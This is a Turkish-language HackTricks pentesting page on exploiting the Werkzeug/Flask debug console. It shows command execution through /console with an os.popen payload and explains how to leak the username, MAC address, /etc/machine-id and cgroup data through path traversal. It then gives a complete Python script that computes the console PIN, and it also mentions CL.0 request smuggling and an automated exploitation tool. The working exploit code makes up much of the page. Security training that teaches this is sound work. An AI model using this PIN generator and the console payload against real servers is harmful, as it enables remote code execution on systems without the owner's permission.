# Werkzeug / Flask Debug {{#include ../../banners/hacktricks-training.md}} ## Konsol RCE Eğer hata ayıklama aktifse, `/console` adresine erişmeyi deneyebilir ve RCE elde edebilirsiniz. ```python __import__('os').popen('whoami').read(); ``` ![](<../../images/image (117).png>) İnternette [şu ](https://github.com/its-arun/Werkzeug-Debug-RCE) veya metasploit'teki bir tane gibi birkaç istismar da bulunmaktadır. ## Pin Koruması - Yol Geçişi Bazı durumlarda **`/console`** uç noktası bir pin ile korunacaktır. Eğer bir **dosya geçişi açığı** varsa, o pini oluşturmak için gerekli tüm bilgileri sızdırabilirsiniz. ### Werkzeug Konsol PIN İstismarı Bunu görmek için uygulamada bir hata sayfası zorlayın: ``` The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` "console locked" senaryosuyla ilgili bir mesaj, Werkzeug'un hata ayıklama arayüzüne erişim sağlanmaya çalışıldığında karşılaşılır ve konsolu kilidini açmak için bir PIN gerekliliğini belirtir. Konsol PIN'ini istismar etmek için, Werkzeug’un hata ayıklama başlatma dosyasında (`__init__.py`) PIN oluşturma algoritmasını analiz etme önerisi yapılır. PIN oluşturma mekanizması, [**Werkzeug kaynak kodu deposu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) üzerinden incelenebilir, ancak potansiyel sürüm farklılıkları nedeniyle gerçek sunucu kodunun bir dosya geçiş açığı aracılığıyla temin edilmesi tavsiye edilir. Konsol PIN'ini istismar etmek için iki set değişken gereklidir: `probably_public_bits` ve `private_bits`: #### **`probably_public_bits`** - **`username`**: Flask oturumunu başlatan kullanıcıyı ifade eder. - **`modname`**: Genellikle `flask.app` olarak belirlenir. - **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Genellikle **Flask** olarak çözülür. - **`getattr(mod, '__file__', None)`**: Flask dizinindeki `app.py`'nin tam yolunu temsil eder (örneğin, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Eğer `app.py` geçerli değilse, **`app.pyc`** denemek gerekir. #### **`private_bits`** - **`uuid.getnode()`**: Mevcut makinenin MAC adresini alır, `str(uuid.getnode())` bunu ondalık formata çevirir. - Sunucunun MAC adresini **belirlemek için**, uygulamanın kullandığı aktif ağ arayüzünü (örneğin, `ens3`) tanımlamak gerekir. Belirsizlik durumunda, **`/proc/net/arp`**'yi sızdırarak cihaz kimliğini bulmak, ardından **`/sys/class/net//address`**'den MAC adresini **çıkarmak** gerekir. - Onaltılık bir MAC adresinin ondalık formata dönüştürülmesi aşağıda gösterildiği gibi yapılabilir: ```python # Örnek MAC adresi: 56:00:02:7a:23:ac >>> print(0x5600027a23ac) 94558041547692 ``` - **`get_machine_id()`**: `/etc/machine-id` veya `/proc/sys/kernel/random/boot_id`'den verileri, son eğik çizgiden (`/`) sonra `/proc/self/cgroup`'un ilk satırıyla birleştirir.
`get_machine_id()` için Kod ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id if _machine_id is not None: return _machine_id def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b"" # machine-id is stable across boots, boot_id is not. for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue if value: linux += value break # Containers share the same machine id, add some cgroup # information. This is used outside containers too but should be # relatively stable across boots. try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass if linux: return linux # On OS X, use ioreg to get the computer's serial number. try: ```
Gerekli tüm veriler toplandıktan sonra, exploit script'i Werkzeug konsol PIN'ini oluşturmak için çalıştırılabilir: Gerekli tüm veriler toplandıktan sonra, exploit script'i Werkzeug konsol PIN'ini oluşturmak için çalıştırılabilir. Script, bir hash oluşturmak için bir araya getirilen `probably_public_bits` ve `private_bits`'i kullanır, ardından nihai PIN'i üretmek için daha fazla işleme tabi tutulur. Aşağıda bu süreci gerçekleştiren Python kodu bulunmaktadır: ```python import hashlib from itertools import chain probably_public_bits = [ 'web3_user', # username 'flask.app', # modname 'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address 'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id ] # h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0 h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') # h.update(b'shittysalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) ``` Bu script, birleştirilmiş bitleri hashleyerek, belirli tuzlar (`cookiesalt` ve `pinsalt`) ekleyerek ve çıktıyı formatlayarak PIN'i üretir. `probably_public_bits` ve `private_bits` için gerçek değerlerin hedef sistemden doğru bir şekilde elde edilmesi gerektiğini unutmamak önemlidir, böylece üretilen PIN, Werkzeug konsolunun beklediği ile eşleşir. > [!TIP] > Eğer **eski bir sürüm** Werkzeug kullanıyorsanız, **hashing algoritmasını md5** olarak değiştirmeyi deneyin. ## Werkzeug Unicode karakterleri [**bu sorun**](https://github.com/pallets/werkzeug/issues/2833) üzerinde gözlemlendiği gibi, Werkzeug başlıklarda Unicode karakterleri ile bir isteği kapatmaz. Ve [**bu yazıda**](https://mizu.re/post/twisty-python) açıklandığı gibi, bu bir CL.0 Request Smuggling zafiyetine neden olabilir. Bunun nedeni, Werkzeug'te bazı **Unicode** karakterlerin gönderilmesinin mümkün olması ve bunun sunucunun **çökmesine** neden olmasıdır. Ancak, HTTP bağlantısı **`Connection: keep-alive`** başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı açık kalacaktır, bu nedenle isteğin **gövdesi** bir **sonraki HTTP isteği** olarak işlenecektir. ## Otomatik Sömürü {{#ref}} https://github.com/Ruulian/wconsole_extractor {{#endref}} ## Referanslar - [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/) - [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955) - [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833) - [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python) {{#include ../../banners/hacktricks-training.md}}